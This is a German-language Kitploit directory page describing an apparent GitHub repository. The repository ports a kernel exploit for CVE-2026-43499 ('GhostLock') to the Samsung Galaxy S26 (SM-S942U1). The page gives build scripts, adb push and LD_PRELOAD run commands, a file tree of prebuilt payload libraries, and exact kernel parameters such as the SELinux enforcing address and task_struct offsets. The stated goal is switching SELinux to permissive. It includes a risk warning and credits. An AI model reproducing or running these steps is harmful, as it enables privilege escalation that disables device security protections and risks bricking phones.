Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
s26-m1q-ghostlock-selinux — GhostLock-Forschung zu CVE-2026-43499 für Galaxy S26 (SM-S942U1/m1q): SELinux Permissive erreicht, KASLR + tracefs-Port, uid=0-Grenze dokumentiert | Kitploit
Tools/GitHubGitHub/xrzcc/s26-m1q-ghostlock-selinux
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationReverse EngineeringMobile SicherheitBinary-Exploitation
GitHubxrzcc/s26-m1q-ghostlock-selinux

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

s26-m1q-ghostlock-selinux

GhostLock-Forschung zu CVE-2026-43499 für Galaxy S26 (SM-S942U1/m1q): SELinux Permissive erreicht, KASLR + tracefs-Port, uid=0-Grenze dokumentiert

Repository anzeigen
1vor 2 TagenNoch nicht geprüft

S26 (SM-S942U1 / m1q) GhostLock CVE-2026-43499 — SELinux Permissive erreichen

Forschung zur Privilegieneskalation mittels CVE-2026-43499 (GhostLock) für das Samsung Galaxy S26 (SM-S942U1, Codename m1q, SoC SM8850 Snapdragon 8 Elite Gen2, Kernel 6.12.30-android16-5, Android 16).

Statusübersicht

ZielStatus
SELinux enforce 1→0 (Permissive)✅ Erreicht (ca. 44 % Erfolgsrate pro Versuch)
Stabiles Parken✅ mehrere Minuten gehalten
uid=0 vollständiger Root + KernelSU❌ Durch Kernel-Level-Grenzen begrenzt (siehe unten)

Grundursache (der eigentliche Grund für das lange Scheitern)

  1. Die US-Version nutzt KASLR, nicht nokaslr. Die slide ist bei jedem Start zufällig (gemessen: 0x30000/0x50000/0x130000/0x150000…). Der ursprünglich veröffentlichte Code von polygraphene/CyberMeowfia hatte slide=0 hartkodiert – alle Adressen waren falsch. Fix: Portierung der tracefs-KASLR-Erkennung aus m3q-azf1 (slide_tracefs.c).

  2. Das GhostLock-Schreibprimitive der US-Version unterstützt nur „NULL schreiben“. Der Kommentar in m3q target.h stellt klar: STORE (rb_right schreibt nicht NULL) „KP's off-page“, shape0 (rb_left) „KPs on AZF1“, nur EMERALD_NULL (rb schreibt NULL) funktioniert. Der SELinux-Schreibvorgang schreibt genau „NULL 0 auf enforcing“, daher funktioniert er.

🛑 Harte technische Grenze für uid=0

Der uid=0-Ansatz von polygraphene (dirty-pipe) hängt davon ab, CAN_MERGE(0x10) (nicht NULL) in pipe_buffer.flags zu schreiben. Das Schreibprimitive der US-Version (MTE + KDP) kann nur NULL schreiben; das Schreiben nicht-NULLer Werte führt deterministisch zu einem Kernel-Panic (gemessen: 4/4 KP).

Das lässt sich nicht durch Parameter-Tuning durchbrechen – es wird ein weiteres Read/Write-Primitive-CVE benötigt, das nicht-NULLe Werte schreiben kann (der m3q-Autor bestätigt in seiner README ebenfalls: „Soft-root still needs info leak + cred finish“).

Verzeichnisstruktur

root@kitploit:~
├── README.md                              # 本文件
├── docs/
│   └── M1Q_SELINUX_WRITE_FAIL_ROOTCAUSE.md  # 完整诊断 + 根因 + 边界
├── m3q-azf1/                              # m3q 树(SELinux park 参考实现)
│   ├── generate_target.py                  # target.h 自动生成工具
│   ├── build_m1q.bat                       # NDK r29 构建脚本(美版 target)
│   ├── target.h                            # 美版 target(P0=0xc7800000, N1b=0)
│   └── preload-4-s1.so                     # SELinux Permissive 达成版(111KB)
├── polygraphene/                          # polygraphene 树(uid=0 完整流程 + KASLR 修复)
│   ├── src/slide_tracefs.c                 # tracefs KASLR 探测(核心修复)
│   ├── src/main.c                          # 加 tracefs KASLR 调用
│   ├── src/util.c                          # SELinux NULL 写 + 空 pi_waiters
│   ├── src/fops.c                          # fd_set 布局
│   ├── targets/m1q-S942U1UES4AZG3/target.h # 美版 target
│   ├── build_r29.bat                       # 构建脚本
│   └── preload.so                          # SELinux 单进程成功版(162KB)
├── auto_run.ps1                           # 自动化重试脚本(含 root 检测)
└── kallsyms/                              # 美版内核符号表
    └── kallsyms.txt                        # 128307 符号(5.7MB)

Reproduktion: SELinux Permissive erreichen

Voraussetzungen

  • Gerät: SM-S942U1, S942U1UES4AZG3, USB-Debugging
  • Host: Windows, adb, Android NDK r29

Methode A: polygraphene-Baum (Einzelprozess, inkl. uid=0-Ablauf)

root@kitploit:~
# 构建(已含 tracefs KASLR 修复)
cd polygraphene
cmd /c build_r29.bat

# 推送 + 运行
adb push build/m1q-S942U1UES4AZG3/bin/preload.so /data/local/tmp/preload.so
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true"
# 观察日志,SELinux 成功后 getenforce → Permissive

Methode B: m3q-Baum (für SELinux-Parken gedacht)

root@kitploit:~
cd m3q-azf1
cmd /c build_m1q.bat
adb push source/build/bin/preload-4-s1.so /data/local/tmp/preload-4-s1.so
adb shell "LD_PRELOAD=/data/local/tmp/preload-4-s1.so /system/bin/true"
# 成功标志:slide-kaslr-ok + S1_READY + getenforce → Permissive

Schlüsselparameter (autoritativ bestätigt, nicht ändern)

Risiken (unbedingt lesen)

  • Häufige Kernel-Panics (ca. 44 % Erfolgsrate pro Schreibprimitive, sonst KP mit Neustart)
  • Verzögerter KP (noch Minuten nach dem Parken möglich)
  • Risiko von Safe-Mode-only-Boot / Factory-Reset
  • Nur für Geräte im eigenen Besitz, experimenteller Exploit

Danksagungen

  • polygraphene/CyberMeowfia (S26-dirty-pipe-Port)
  • Bugel/cve-2026-43499-m3q-azf1 (m3q-Referenz, tracefs-KASLR + I4 emerald / M1Q shape)
  • PeronGH/ghostlock-selinux-disabler (Single-Write-Extraktion der JoinChang-Vollversion, Shape-Referenz)
  • NebuSec (Schwachstellenentdeckung/-prinzip)
  • JoinChang/ghostlock-oneplus (ursprünglicher Exploit)
Tool herunterladen
ParameterWertQuelle
P0_KERNEL_PHYS_LOAD0xc7800000Autoritativ aus xbl_config in generate_target.py bestätigt
PSELECT_WAITER_WORD_SHIFT2Kernel-Disassemblierung von derive_pselect_layout
SELINUX_ENFORCING0xffffffc0827afb08kallsyms
task_struct.prio0x94BTF (6.12-Wert, nicht 0x84 von 6.6)
task_struct.cred0x900BTF
mm_struct objsize1280 (0x500)/proc/slabinfo